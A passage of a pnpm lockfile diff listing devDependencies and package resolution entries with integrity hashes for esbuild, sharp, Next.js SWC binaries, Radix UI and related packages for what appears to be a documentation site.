specifier: ^4.4.3 + version: 4.4.3 + devDependencies: + '@tailwindcss/postcss': + specifier: ^4.3.1 + version: 4.3.3 + '@types/mdx': + specifier: ^2.0.14 + version: 2.0.14 + '@types/node': + specifier: ^26.1.2 + version: 26.1.2 + '@types/react': + specifier: ^19.2.18 + version: 19.2.18 + '@types/react-dom': + specifier: ^19.2.4 + version: 19.2.4(@types/react@19.2.18) + postcss: + specifier: ^8.5.22 + version: 8.5.25 + serve: + specifier: ^14.2.6 + version: 14.2.6 + tailwindcss: + specifier: ^4.3.1 + version: 4.3.3 + typescript: + specifier: ^6.0.3 + version: 6.0.3 + +packages: + + '@alloc/quick-lru@5.2.0': + resolution: {integrity: sha512-UrcABB+4bUrFABwbluTIBErXwvbsU/V7TZWfmbgJfbkwiBuziS9gxdODUyuiecfdGQ85jglMW6juS3+z5TsKLw==} + engines: {node: '>=10'} + + '@emnapi/runtime@1.11.3': + resolution: {integrity: sha512-Xz4Tpyki7XyrpbUK1jR1AhdAdaXyhhY4lZ3neLodmhpuWfy2PAQN5B46sAiU4liOXGLkHypn/qU+jvfWSCYYLA==} + + '@esbuild/aix-ppc64@0.28.1': + resolution: {integrity: sha512-Svl7tq8k/08+p6CXPpRjQ1fKX+1odH/BQbb48fV6fj3CWHhsoIOoY87w1oHXm0qEpkIK3ZfVgp0hed3XBXzXMQ==} + engines: {node: '>=18'} + cpu: [ppc64] + os: [aix] + + '@esbuild/android-arm64@0.28.1': + resolution: {integrity: sha512-34EGEbCIAgosYz6goLcopX6Mo7NyGv9tfwEM2/7Ce2VcVRk568iSvniGWcUXIy7wEDR1wzolcxcriFVrWYcwBg==} + engines: {node: '>=18'} + cpu: [arm64] + os: [android] + + '@esbuild/android-arm@0.28.1': + resolution: {integrity: sha512-0k2F129Xdio1TdJfzJ8sy1Q47vUD2NnwdhiAf7drUN1EBTfPf4hsFCtmMgu/6m8JSzsBrlmVjudMBQqOfG8usQ==} + engines: {node: '>=18'} + cpu: [arm] + os: [android] + + '@esbuild/android-x64@0.28.1': + resolution: {integrity: sha512-dbwY7ltSMDWsRatcRpCnES4F+im88OCUgGZjy52shC7GqHRE/cYlxNbB4Z4UpJswpcc4Qxd2oE/ufM0p61IKng==} + engines: {node: '>=18'} + cpu: [x64] + os: [android] + + '@esbuild/darwin-arm64@0.28.1': + resolution: {integrity: sha512-TZbWkQY7kvTAXbXUT7uVACR5cMHsDiSz9z7ZKAX/RTq/WJEk3QyRr0wZpNhBDX+/0CtdqUIJlOiodQcta6tY3Q==} + engines: {node: '>=18'} + cpu: [arm64] + os: [darwin] + + '@esbuild/darwin-x64@0.28.1': + resolution: {integrity: sha512-zfdzgK9ACBNZLI/CyHTOx81SyNbM6YXn7rxSgX97VjyiPl9W1i4Ka4fgKECEoFCKGpvBj5qArWIGgQjOwkgskQ==} + engines: {node: '>=18'} + cpu: [x64] + os: [darwin] + + '@esbuild/freebsd-arm64@0.28.1': + resolution: {integrity: sha512-wG2EA8ENdEI0qhkSZMjfqrdY+ziCYCPMmtZjjIwOmXFjmyzEHn+UUxk5of+SYsjtfs3VpnlC7QLzSI5hY/rOAw==} + engines: {node: '>=18'} + cpu: [arm64] + os: [freebsd] + + '@esbuild/freebsd-x64@0.28.1': + resolution: {integrity: sha512-i7dZ9vQgnvSCzi/rYCXNgtF/U+eKZNJBzu3eTQbRgHnM7tNSizLOkRFAl3qzVc/Op/u5YkHHa4pf/3DOYHthLQ==} + engines: {node: '>=18'} + cpu: [x64] + os: [freebsd] + + '@esbuild/linux-arm64@0.28.1': + resolution: {integrity: sha512-yHs+0uc8+nvEAfAfxrWQKK5peSNzBc4PegcMO0EJ2hT71uA7vB8Ihg2e77R2P7SG5uYjPbHlLLmve4LLLRCf0g==} + engines: {node: '>=18'} + cpu: [arm64] + os: [linux] + + '@esbuild/linux-arm@0.28.1': + resolution: {integrity: sha512-qVXBOHQS+d5Y722GwJzJUtOLlX7km3CraOaGormF1pDtPd2C/l1SHRPgjLunLGe51Sh5YYWKMFDyV4SxgMQYTQ==} + engines: {node: '>=18'} + cpu: [arm] + os: [linux] + + '@esbuild/linux-ia32@0.28.1': + resolution: {integrity: sha512-d1z4ZuP0ajrfz/FhGT4vv278rX8KnPPJx8i5+AtK7TYbx9Le9F1hyzurZpkEyjkGa9dUGhQow4C1NmeGvqxN2w==} + engines: {node: '>=18'} + cpu: [ia32] + os: [linux] + + '@esbuild/linux-loong64@0.28.1': + resolution: {integrity: sha512-M5sRjUVZrkm1OAPR3dlOYzNmN+loZKGVi1VUQGrwuqLcbR6qeAz+famMhjASeH3YVKvZz+zT1jlh/keC3Rj/lg==} + engines: {node: '>=18'} + cpu: [loong64] + os: [linux] + + '@esbuild/linux-mips64el@0.28.1': + resolution: {integrity: sha512-mRObBZeHh2OxcBFPWE/FjylkRgZdYuiTR3vaTozquCGOH14iP9oN4x4Ge81CoIDYQrXmIxpFumJBu5MtZpnQJQ==} + engines: {node: '>=18'} + cpu: [mips64el] + os: [linux] + + '@esbuild/linux-ppc64@0.28.1': + resolution: {integrity: sha512-slScBsMAb3GFDcdrCgLwZtPYRoH2H/youv10QiZyRjmsP48fznoveWytSgCI/R0ZcUgpc0ZhIUEx6LHts8yrfQ==} + engines: {node: '>=18'} + cpu: [ppc64] + os: [linux] + + '@esbuild/linux-riscv64@0.28.1': + resolution: {integrity: sha512-kw0owk1o0GFETUJyW0jc0G4Yzs0BHZn0JDZ8JRT088vjJYX777BAs1fDGxAC+q831qOs2DTC96mNsG2opdfyyQ==} + engines: {node: '>=18'} + cpu: [riscv64] + os: [linux] + + '@esbuild/linux-s390x@0.28.1': + resolution: {integrity: sha512-/lAIjX8aYFRByhh6L5rYtPEDRqa9de/4V/juOXcta5frjvzXO4/sqEtyytse0g3zZFuWu5cDN0MkLz2qRDD2Ag==} + engines: {node: '>=18'} + cpu: [s390x] + os: [linux] + + '@esbuild/linux-x64@0.28.1': + resolution: {integrity: sha512-u/anNYF2mmVOEDwLtnQ1wOr3EZ9sTNGLWrsYGYwHWzGA3Si84IOkHXlbWTD1NB+9/1lcnweYKO54uhxZydNzfA==} + engines: {node: '>=18'} + cpu: [x64] + os: [linux] + + '@esbuild/netbsd-arm64@0.28.1': + resolution: {integrity: sha512-oks0DYbLwWMmaakTsCb+zL4E+aHRVLom9IJZOAthMQEPiQmydXHkziYEsGYRx0uNV/IjEKGAV941JzH02pflqw==} + engines: {node: '>=18'} + cpu: [arm64] + os: [netbsd] + + '@esbuild/netbsd-x64@0.28.1': + resolution: {integrity: sha512-aeL6lAnN89Hz43Mlh1G8ARasbuoYvSITDEx0tHh5b7jJnHcssqgjy9Yx430GDpmCa6OyrKoS0aNRjKundRizGg==} + engines: {node: '>=18'} + cpu: [x64] + os: [netbsd] + + '@esbuild/openbsd-arm64@0.28.1': + resolution: {integrity: sha512-MEFJe5C3R8pwXdZ5Y21oo6m7ePiS0d9pWucn99O/wvyJZChoIQKrQDxKrGeW8F5+T0okTHesAmDeiHDTIq0V/Q==} + engines: {node: '>=18'} + cpu: [arm64] + os: [openbsd] + + '@esbuild/openbsd-x64@0.28.1': + resolution: {integrity: sha512-i/ZLIOafE0Z8cI/XANJAixoJL/uRAoS2xOA3rb0xN+KK0K177cMAsQYkzHtBrtMXAKuAc7HGgcWiZ/sRC1Nxgw==} + engines: {node: '>=18'} + cpu: [x64] + os: [openbsd] + + '@esbuild/openharmony-arm64@0.28.1': + resolution: {integrity: sha512-ge+Z7EXFNt2BO1oAMsVpiQ8EwndV9i1xXerAeTIK7AtPs3bKFXQM7nlRxDSIUIMeueR1CNXxqztLzdNeReKBJg==} + engines: {node: '>=18'} + cpu: [arm64] + os: [openharmony] + + '@esbuild/sunos-x64@0.28.1': + resolution: {integrity: sha512-BEjgtECkL3vY+SaSQ6nzVfiALUeFxpawyp8Jmf5PtYhf1Ug40N1h/hxlhts+f1FvSvarEigdxS3BlSMI2PJLcQ==} + engines: {node: '>=18'} + cpu: [x64] + os: [sunos] + + '@esbuild/win32-arm64@0.28.1': + resolution: {integrity: sha512-lCv9eK/H6ZJWbE7bh2nw54CZ9M2nupBxJcTsdk/QQnWkdSjKGuxmmH8/GWrlT1eMmZfn4dGcCjRte397WqfQXA==} + engines: {node: '>=18'} + cpu: [arm64] + os: [win32] + + '@esbuild/win32-ia32@0.28.1': + resolution: {integrity: sha512-zvb/mB2bSCoJOpoCBgYKKpX6YM6mJBlBUVUtVj41DlZJVEB6/0CKlRYxP5wWl1C1ILiCoAU5wZZ4q1P3qeS6Eg==} + engines: {node: '>=18'} + cpu: [ia32] + os: [win32] + + '@esbuild/win32-x64@0.28.1': + resolution: {integrity: sha512-bm4Mowrv+GXMlpWX++EcXw/iLyd1o3+bJkC2DkWXYVvgZCqD/bSj9ctZeAMC3cIxgjRVR2Dufaiu4YPxr5gW1A==} + engines: {node: '>=18'} + cpu: [x64] + os: [win32] + + '@floating-ui/core@1.8.0': + resolution: {integrity: sha512-0CIZ5itps/8x7BG8dEIhs53BvCUH2PCoogtakwRTut+Arm58sJooJ0AuZhLw2HJYIR5cMLNPBSS728sPho2khQ==} + + '@floating-ui/dom@1.8.0': + resolution: {integrity: sha512-yXSrzeHZBTZadLOlfyhCkJHNeLJnHRnRInwdZ40L7ZiaAtrBwoYlsDrX3v5zB1Utk7CLfzcOVnVVWoXEky7Ceg==} + + '@floating-ui/react-dom@2.1.9': + resolution: {integrity: sha512-JDjEFGCpImxDCA7JJKviA0M9+RtmJdj0m/NVU5IMgBK+AmZouAQQ7/+2GLH0GXXY0YMw9oXPB8hKdbPYg5QLYg==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + + '@floating-ui/utils@0.2.12': + resolution: {integrity: sha512-HpCo8tmWzLVad5s2d19EhAz5zqrrQ6s69qd6moPMQvkOuSwDT1YgRfWSVuc4ennqrgv3OHppiOGMQ7oC13yIww==} + + '@fuma-translate/react@1.0.2': + resolution: {integrity: sha512-uOiOtBx3nRXR8Nu1GzBf1tApgF1FErDBTHxRIAQeyQdyOoZbrNRN6H4kDCWObY4qyGeGbHydG0DHzgeUgFDMIw==} + peerDependencies: + '@types/react': '*' + react: ^19.2.0 + react-dom: ^19.2.0 + peerDependenciesMeta: + '@types/react': + optional: true + + '@fumadocs/tailwind@0.1.1': + resolution: {integrity: sha512-BnPe52UxSaG8yKlHMKBxXw8h6GpK5qO55ci6+Qd5JnquTvIw6SpfbC1P+qAi82PuPWv1KZAWY8bxRk4+x9ctXw==} + peerDependencies: + tailwindcss: ^4.0.0 + peerDependenciesMeta: + tailwindcss: + optional: true + + '@img/colour@1.1.0': + resolution: {integrity: sha512-Td76q7j57o/tLVdgS746cYARfSyxk8iEfRxewL9h4OMzYhbW4TAcppl0mT4eyqXddh6L/jwoM75mo7ixa/pCeQ==} + engines: {node: '>=18'} + + '@img/sharp-darwin-arm64@0.35.3': + resolution: {integrity: sha512-RMnFX7YQsMoh7lWfcM4NEHHymBX/rLuKNPVM84XE9ONPcaSCDgE7CHIHpSgPcO2xcRthgBy1HfNO319mwhIAkg==} + engines: {node: '>=20.9.0'} + cpu: [arm64] + os: [darwin] + + '@img/sharp-darwin-x64@0.35.3': + resolution: {integrity: sha512-Xo+5uFBtLN0BKqieTxiFzFPQAUlBbbH5iBKyRX/z1JrbnYsHTfKJnUfL8+p2TPXr1pXqao4eeL4Rl144uDpK9w==} + engines: {node: '>=20.9.0'} + cpu: [x64] + os: [darwin] + + '@img/sharp-freebsd-wasm32@0.35.3': + resolution: {integrity: sha512-lUxcqWIj2wMQ9BrwNjngcr1gWUr5xgaGThBRqPPalIC2n67Cqj1uPh8NnA/ZhAg8hUbKl+kVHKwgUIwe6ZYPrg==} + engines: {node: '>=20.9.0'} + os: [freebsd] + + '@img/sharp-libvips-darwin-arm64@1.3.2': + resolution: {integrity: sha512-9J6ypZFpQBj4YnePGoq/S38w6nz+vqg5WZLrLGY4YuSemdMq47GMLBPO42MzwdGwpg/agZ7xzZcFHa48xlywfg==} + cpu: [arm64] + os: [darwin] + + '@img/sharp-libvips-darwin-x64@1.3.2': + resolution: {integrity: sha512-m2pW1n6cns9VaubNwsZ+c3CRYjxNQWgJ5gPlnL1nbBcpkBvFm6SCFN5o0psFHI8w9n11NKhFkeEDns98tiqbEw==} + cpu: [x64] + os: [darwin] + + '@img/sharp-libvips-linux-arm64@1.3.2': + resolution: {integrity: sha512-dqVSFynCox4C/J8kT16V7SIFAns0IjgLwkvYT7p8LQVmJ5OS5b6tI9IGflxTeuBS//zXeFIUbwt5dwxyZ17cnA==} + cpu: [arm64] + os: [linux] + + '@img/sharp-libvips-linux-arm@1.3.2': + resolution: {integrity: sha512-1eMLzy92I4J6rmi4mAT8yC3HxOtniyGELlzGbNMLLeqe052ahFQ0h6LFq+lh5DsDIdYViIDst08abvSbcEdLXQ==} + cpu: [arm] + os: [linux] + + '@img/sharp-libvips-linux-ppc64@1.3.2': + resolution: {integrity: sha512-3z0NHDxD6n5I9gc05U1eW1AyRm+Gznzq3naMrthPNqE6oYykcogW0l/jfpJdjYnuNl8R7yI9pNbE1XiUeyq0Aw==} + cpu: [ppc64] + os: [linux] + + '@img/sharp-libvips-linux-riscv64@1.3.2': + resolution: {integrity: sha512-bsb4rI+NldGOsXuej2r8OdSS8+zXDVaCWxyWrcv6kneTOlgAHtZABRzBBCwdsPiD90J4myNJuHpg6kA20ImW/w==} + cpu: [riscv64] + os: [linux] + + '@img/sharp-libvips-linux-s390x@1.3.2': + resolution: {integrity: sha512-/ABshyj8gCpyIrNXnHn4LorDJ0HHm1VhXPBlxZ8zAtfVPAaSafXPGn+sUSIRiwaSBy0mmFjSjiXI5mkcwdChKQ==} + cpu: [s390x] + os: [linux] + + '@img/sharp-libvips-linux-x64@1.3.2': + resolution: {integrity: sha512-ITPEtgffGJ0S6G9dRyw/366tJQqFRcHWPHhC+Stpg3Z8AEMrDrTr2lhdz4f/Y/HMbRh//7Z5mBzEpVdi62Oc3w==} + cpu: [x64] + os: [linux] + + '@img/sharp-libvips-linuxmusl-arm64@1.3.2': + resolution: {integrity: sha512-zE9EdiUzUmg5mDT5a1rk5fYJ6GWPloTwWBYDS14naqHsL+EaMpDj1AWnpLgh3u0YCORv2Tt50wrcrpYqkP97Kw==} + cpu: [arm64] + os: [linux] + + '@img/sharp-libvips-linuxmusl-x64@1.3.2': + resolution: {integrity: sha512-m0lrLiUt+lBYnCFr8qV/65yMR4E/c7/wf78I5eKTdkEakFAlZ9QlzEM3QIhhAwVeUhLAHLcCq7a7Vszq/oFNZQ==} + cpu: [x64] + os: [linux] + + '@img/sharp-linux-arm64@0.35.3': + resolution: {integrity: sha512-QgKDspHPnrU+GQ55XPhGwyhC8acLVOOSyAvo1oVfFmrIXLkDNmGWzAfDZ4xK8oSA1qBQrALcHX0G5UZni/SuFQ==} + engines: {node: '>=20.9.0'} + cpu: [arm64] + os: [linux] + + '@img/sharp-linux-arm@0.35.3': + resolution: {integrity: sha512-affVWCTLooy8TSxbDx2qkzuDeaWLNVBA+P//FNBirHsXpP2fuBhk5AuboYUnrDnzoXes8GFjpTx0SBFOCRg+FA==} + engines: {node: '>=20.9.0'} + cpu: [arm] + os: [linux] + + '@img/sharp-linux-ppc64@0.35.3': + resolution: {integrity: sha512-sMd8rDxmpLOwv/7N44klFjOD5DUO7FLdjiXDI0hoxYaf7Ar262dQIEkosE98bps+5HPLtp/EvNqeqQtOycP/IA==} + engines: {node: '>=20.9.0'} + cpu: [ppc64] + os: [linux] + + '@img/sharp-linux-riscv64@0.35.3': + resolution: {integrity: sha512-0Eob78yjlYPfL5vMNWAW55l3R9Y6BQS/gOfe0ZcP9mEz9ohhKSt4im1hayiknXgf8AWrFqMvJcKIdmLmEe7yeQ==} + engines: {node: '>=20.9.0'} + cpu: [riscv64] + os: [linux] + + '@img/sharp-linux-s390x@0.35.3': + resolution: {integrity: sha512-KgAxQ0DxpNOq1rG2t5cgTgShJFGSuU7XO45cqC+1NVOuZnP6tlgZRuSYOfNupGkHID0o3cJOsw4DVeJpMovcGw==} + engines: {node: '>=20.9.0'} + cpu: [s390x] + os: [linux] + + '@img/sharp-linux-x64@0.35.3': + resolution: {integrity: sha512-8pqvxubL2PGdhlPy6GLqzDYMUjyRmKAwKHYKixpdJYBUK7PJ0C029XdsnpFIdgRZG68fZiGdHVWcKPvtiPB4cA==} + engines: {node: '>=20.9.0'} + cpu: [x64] + os: [linux] + + '@img/sharp-linuxmusl-arm64@0.35.3': + resolution: {integrity: sha512-Vz0iQjzzcSX3HCbfwFfCSG/9SCIqyO0mH2sXyiHaAYfBk0cRsCWXRyQYX0ovCK/PAQBbTzQ0dsPQHh5MAFL59w==} + engines: {node: '>=20.9.0'} + cpu: [arm64] + os: [linux] + + '@img/sharp-linuxmusl-x64@0.35.3': + resolution: {integrity: sha512-6O1NPKcDVj9QEdg7Hx549EX8U0rp6yXQERqru6yRN7fGBn32UvIRJUlWnk+8xDCiG76hXVBbX82NZ/ZKr0euIg==} + engines: {node: '>=20.9.0'} + cpu: [x64] + os: [linux] + + '@img/sharp-wasm32@0.35.3': + resolution: {integrity: sha512-cZ0XkcYGpHZkqW6iCkqTcmUC0CD9DhD5d/qeZlZkfRBn6GnHniZXLUo5+9xw8Iv76YE6LQFN9YNBlKREcCG76w==} + engines: {node: '>=20.9.0'} + + '@img/sharp-webcontainers-wasm32@0.35.3': + resolution: {integrity: sha512-2rnq7bX3NzeR2T4YWgz8qiG4h3TSdMe+vN1iQXpJleSJ3SM5zQ8Fy2SyyXAWlbxpEZ2Y+Z4u1BePgJEYbSy80Q==} + engines: {node: '>=20.9.0'} + cpu: [wasm32] + + '@img/sharp-win32-arm64@0.35.3': + resolution: {integrity: sha512-4bPwFdMbeC4JQ8L8LOyWp6nsHcboP5fxkp6iPOXz2Vg49R42TuMs2whkJ5OAP4/Ul035qOzy0AecOF9VOscn4w==} + engines: {node: '>=20.9.0'} + cpu: [arm64] + os: [win32] + + '@img/sharp-win32-ia32@0.35.3': + resolution: {integrity: sha512-r53mXsBN6lFUDiST764SvgwUdHAqM4rPAiDzAmf4fLoB6X/rkfyTrLCg6+g17wJJiCmB3JYgHuUldCWUIRFSXw==} + engines: {node: ^20.9.0} + cpu: [ia32] + os: [win32] + + '@img/sharp-win32-x64@0.35.3': + resolution: {integrity: sha512-D4y1vNeZrIIJCN+uHaWVtH86B+aCrdMYYjicy9pXHvbGZeGYLLSd3wdVuC37FxVXlU1ARsk84eKWfWMXGYEqvA==} + engines: {node: '>=20.9.0'} + cpu: [x64] + os: [win32] + + '@jridgewell/gen-mapping@0.3.13': + resolution: {integrity: sha512-2kkt/7niJ6MgEPxF0bYdQ6etZaA+fQvDcLKckhy1yIQOzaoKjBBjSj63/aLVjYE3qhRt5dvM+uUyfCg6UKCBbA==} + + '@jridgewell/remapping@2.3.5': + resolution: {integrity: sha512-LI9u/+laYG4Ds1TDKSJW2YPrIlcVYOwi2fUC6xB43lueCjgxV4lffOCZCtYFiH6TNOX+tQKXx97T4IKHbhyHEQ==} + + '@jridgewell/resolve-uri@3.1.2': + resolution: {integrity: sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==} + engines: {node: '>=6.0.0'} + + '@jridgewell/sourcemap-codec@1.5.5': + resolution: {integrity: sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og==} + + '@jridgewell/trace-mapping@0.3.31': + resolution: {integrity: sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw==} + + '@mdx-js/mdx@3.1.1': + resolution: {integrity: sha512-f6ZO2ifpwAQIpzGWaBQT2TXxPv6z3RBzQKpVftEWN78Vl/YweF1uwussDx8ECAXVtr3Rs89fKyG9YlzUs9DyGQ==} + + '@next/env@16.2.12': + resolution: {integrity: sha512-d0Z5Bc13Fa4nR8pFAKx2jay2yhJM16vlfHbTzYnUQAxlNb6B6lmn4hjt69lYNt4kRtyYP6gEM49lPRHNbIyneg==} + + '@next/swc-darwin-arm64@16.2.12': + resolution: {integrity: sha512-0W1R0teHWJrqKX0FH20IzzIWAOuGtBxPGuObrxy1lE8hQvCFj49KE8a3WUg0D7sq6rn6zkM4c7YGUnhudBS6oA==} + engines: {node: '>= 10'} + cpu: [arm64] + os: [darwin] + + '@next/swc-darwin-x64@16.2.12': + resolution: {integrity: sha512-Hy5Ls099+aFUmOLmIgPfLqNi6iCwhL3uQCssz5rWk+5Nkc6TUKCE83DY5BbNylfm3+mfwcSFnLRfrZDJhVxdtw==} + engines: {node: '>= 10'} + cpu: [x64] + os: [darwin] + + '@next/swc-linux-arm64-gnu@16.2.12': + resolution: {integrity: sha512-+YqU2h1cQkHsGfvjAsrSmst8UIFBibBGm5x3Xgel8NLMiDQtNOM4sM2GOEMvG5YiOBNeN/Ykk8cQC2S0Xrqljg==} + engines: {node: '>= 10'} + cpu: [arm64] + os: [linux] + + '@next/swc-linux-arm64-musl@16.2.12': + resolution: {integrity: sha512-0qjhiYBaKAqF63LA1ZWAAnKTzFUguAaZiRa5etMLGGPj/B6uEVjtIZldIzFEp3wHlB0koK6aTzqPtSdplTCjoA==} + engines: {node: '>= 10'} + cpu: [arm64] + os: [linux] + + '@next/swc-linux-x64-gnu@16.2.12': + resolution: {integrity: sha512-7A3q26W+h7gnA15uqBToNuDqBEFZZcqh0mW2mn4AJh/G5pdg2RVE3n4slzLEliASZFG3NmsbEzng/x2Sh09mBg==} + engines: {node: '>= 10'} + cpu: [x64] + os: [linux] + + '@next/swc-linux-x64-musl@16.2.12': + resolution: {integrity: sha512-qSjL/uppm+cbh21s72Ss8gkiOhQ4dExWHNGOWy6eZV7STj5WsKehgxT61beSsOj+YYQuTplL376lOCdMQU5T8w==} + engines: {node: '>= 10'} + cpu: [x64] + os: [linux] + + '@next/swc-win32-arm64-msvc@16.2.12': + resolution: {integrity: sha512-X6hzsOUJac/e7AWSbn9gQ9nzHld1xWP5iyjHpYWvud8pufB679O1xg4JDyKr8Xd69Jvd+kM2Der6uftiZCmjYA==} + engines: {node: '>= 10'} + cpu: [arm64] + os: [win32] + + '@next/swc-win32-x64-msvc@16.2.12': + resolution: {integrity: sha512-F6fakeHuFTLOPt0bslQJdf+xtT+WIP9DVn/m4y1w1mRnVPyh3D/cNvzlRkxM444xfm+IvvYNSOrKiA2CDJ0Uxw==} + engines: {node: '>= 10'} + cpu: [x64] + os: [win32] + + '@orama/orama@3.1.18': + resolution: {integrity: sha512-a61ljmRVVyG5MC/698C8/FfFDw5a8LOIvyOLW5fztgUXqUpc1jOfQzOitSCbge657OgXXThmY3Tk8fpiDb4UcA==} + engines: {node: '>= 20.0.0'} + + '@radix-ui/number@1.1.3': + resolution: {integrity: sha512-Road2bidD0uu/1BGDOWNdPI06g0lIRy6IF9GZcIrDK2KGItfor8IQwQa+yM2ERgHM1MmHxaxpTzk0/Jp42lNfA==} + + '@radix-ui/primitive@1.1.7': + resolution: {integrity: sha512-rqWnm76nYT8HoNNqEjpgJ7Pw/DrBj5iBTrmEPo6HTX5+VJyBNOqTdv4g89G63HuR5g0AaENoAcH7Is5fF2kZ8Q==} + + '@radix-ui/react-accordion@1.2.20': + resolution: {integrity: sha512-jDhG9FvAEnlhnjrsINbNXcUa4G+L1KqSkJSunkbKEzFRcAb52jvM0PjPxPRvhe1HNc5F5yc0yzzWeeqlH4yBIg==} + peerDependencies: + '@types/react': '*' + '@types/react-dom': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + react-dom: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + '@types/react-dom': + optional: true + + '@radix-ui/react-arrow@1.1.15': + resolution: {integrity: sha512-v4zggRcjadnI+ClKDuijlQEW4tw3NoaeHc/PwpKnLoLLKNUG4InLegkstooLcRIUWCs+8L22dGURCVuFfOKfnA==} + peerDependencies: + '@types/react': '*' + '@types/react-dom': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + react-dom: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + '@types/react-dom': + optional: true + + '@radix-ui/react-collapsible@1.1.20': + resolution: {integrity: sha512-mcGesGplBnzN2sbvJETzpCNfSMyPnb29q1GRLU+Ib7bJrpIG2ywmRoh2V5VbA2uNvKikKUlVbAPks7JDjz4A8Q==} + peerDependencies: + '@types/react': '*' + '@types/react-dom': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + react-dom: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + '@types/react-dom': + optional: true + + '@radix-ui/react-collection@1.1.15': + resolution: {integrity: sha512-9W+B9NPF0NaaPh/1NJd3+KqsnlLqU9H7T2rvww+fp+T/evVXdNAyYcnfRQZFOjkR1ajQp3yORlqnI8soawLvNA==} + peerDependencies: + '@types/react': '*' + '@types/react-dom': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + react-dom: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + '@types/react-dom': + optional: true + + '@radix-ui/react-compose-refs@1.1.5': + resolution: {integrity: sha512-+48PbAAbq3didjJxa+OaWY2ZwgAKsNiRGyeHKszblZMQ+kcpd9pAaT11cMkGEie0vsOi3QdeTE6d5Fe3Gn61kA==} + peerDependencies: + '@types/react': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + + '@radix-ui/react-context@1.2.2': + resolution: {integrity: sha512-RHCUGwKHDr0hDGg4X7ma4JG4/+12qxw8rkh5QKdDldlCvtja6nUx1Ef/8HVrJze81lEsgLQlqjzjGNHantgnQA==} + peerDependencies: + '@types/react': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + + '@radix-ui/react-dialog@1.1.23': + resolution: {integrity: sha512-Ksw4WeROkO4rC9k/onilX/Ao2Cr1ku1unMNH+XSCcP4jSXYu7HDsg9n4ojMjVb22XpYjAQ9qfrFlVbru1vXDUA==} + peerDependencies: + '@types/react': '*' + '@types/react-dom': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + react-dom: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + '@types/react-dom': + optional: true + + '@radix-ui/react-direction@1.1.4': + resolution: {integrity: sha512-5pzg4FGQNpExhnhT2zlrP1wZFaYCd1K0nYWoFAdcYoYK868IEigqMX3B3f8yIoRlAhAeDWciLI6ZdCKHF9P4Vg==} + peerDependencies: + '@types/react': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + + '@radix-ui/react-dismissable-layer@1.1.19': + resolution: {integrity: sha512-8g4pfOL9HoKKLWGiypT+dphVqjFfmcXO5GBnhsG6zI+lxAx/8feQpr+1LSN8Re3hiZ+XkLNS4O9ztK11/LzQ6w==} + peerDependencies: + '@types/react': '*' + '@types/react-dom': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + react-dom: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + '@types/react-dom': + optional: true + + '@radix-ui/react-focus-guards@1.1.6': + resolution: {integrity: sha512-RNOJjfZMTyBM6xYmV3IVGXkPjIhcBAuv48POevAXwrGJhkWZ9p1rFoIS1JFooPuT193AZmRsCPhpoVJxx6OPoQ==} + peerDependencies: + '@types/react': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + + '@radix-ui/react-focus-scope@1.1.16': + resolution: {integrity: sha512-wmRZ2WWLvmt6KHy2rNPOdPUjwq5xOHY02+m+udwJTn0aNIox/rkskAvJTyTLGhPK6KgrUjlJUJpgmx/+wFiFIQ==} + peerDependencies: + '@types/react': '*' + '@types/react-dom': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + react-dom: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + '@types/react-dom': + optional: true + + '@radix-ui/react-id@1.1.4': + resolution: {integrity: sha512-TMQp2llA+RYn7JcjnrMnz7wN4pcVttPZnRZo52PLQsoLVKzNlVwUeHmfePgTgRluXFvlD3GD5g5MOVVTJCO0qA==} + peerDependencies: + '@types/react': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + + '@radix-ui/react-navigation-menu@1.2.22': + resolution: {integrity: sha512-ou7iLEJ+yrhQndkkA4U21XIdS/CS45F4iXIkTZcb6/Ne9EMsOuDudVmCwmDnfFZZ+y1FZqXRNSIgBy+YMvZVZg==} + peerDependencies: + '@types/react': '*' + '@types/react-dom': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + react-dom: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + 